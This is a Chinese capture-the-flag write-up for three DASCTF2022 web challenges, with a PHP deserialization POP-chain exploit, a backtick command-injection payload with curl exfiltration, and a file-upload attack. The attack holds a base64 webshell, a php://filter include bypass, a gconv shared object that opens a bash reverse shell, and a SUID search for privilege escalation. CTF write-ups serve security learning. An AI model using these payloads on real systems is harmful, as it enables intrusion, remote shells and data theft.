DASCTF2022 x SU Writeup

ezpop

给了源码,POP链如下

1
2
3
4
5
6
7
8
9
10
11
fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag

然后这里eval函数里虽然加了注释符,但是可以直接通过换行符做一个绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class crow
{
public $v1;
public $v2;

public function __construct($v1)
{
$this->v1 = $v1;
}
}

class fin
{
public $f1;

public function __construct($f1)
{
$this->f1 = $f1;
}
}

class what
{
public $a;

public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1;

public function __construct($m1)
{
$this->m1 = $m1;
}

}

$f = new mix("\nsystem('cat *');");
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));

image-20220326113913334

calc

这题给出了源代码,看到WAF过滤了小括号,感觉没办法执行函数,从而放弃eval()函数为切入点,转而看起os.system()函数

WAF中并没有过滤反引号,已知Linux中反引号是可以执行命令的,这里就可以直接利用了

1
`ls`

但是这样在eval中就会报错,导致不会执行os.system,后来想到利用Python中的注释符把反引号的内容注释了,最后Payload

1
123#`ls`

最后利用curltmp/log.txt中的内容外带出来即可

image-20220326113852545

不过这个是非预期了,期待SU战队赛后带来的预期解

upgdstore(赛后)

开局任意上传文件的功能,不过存在waf。可以上传<?php phpinfo();?>的内容,查看php的信息,这里disable_function直接拉满了。这里可以用show_source函数读取index.php,不过有WAF做了过滤,这里可以用base64进行修饰绕过base64_decode("c2hvd19zb3VyY2U=")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#index.php
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}


return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

这里用的检测函数是strstr()对大小写敏感,则这里直接用大小写进行绕过

接着进行Getshell,先上传第一个文件PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+(base64后一句话木马),接着上传第二个文件利用Include+php://filter伪协议的方式绕过WAF,内容如下

1
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mM2I5NGU4OGJkMWJkMzI1YWY2ZjYyODI4Yzg3ODVkZC5waHA="));?>

现在访问第二个文件即可执行任意代码了

通过move_uploaded_file()函数上传exp.sogconv-modules,实现bypass disable_functions

exp.c

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}

编译成so文件

1
gcc exp.c -o exp.so -shared -fPIC

gconv-modules

1
2
module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2

利用下面的Payload进行触发(这边建议进行URL编码)

1
putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

拿到shell后查看根目录下flag的权限,只要root可读,需要提权

image-20220326203741929

搜了最近爆出的提权都不行,查看SUID的命令

1
find / -user root -perm -4000 -print 2>/dev/null

这里有nl命令可以使用

image-20220326203910047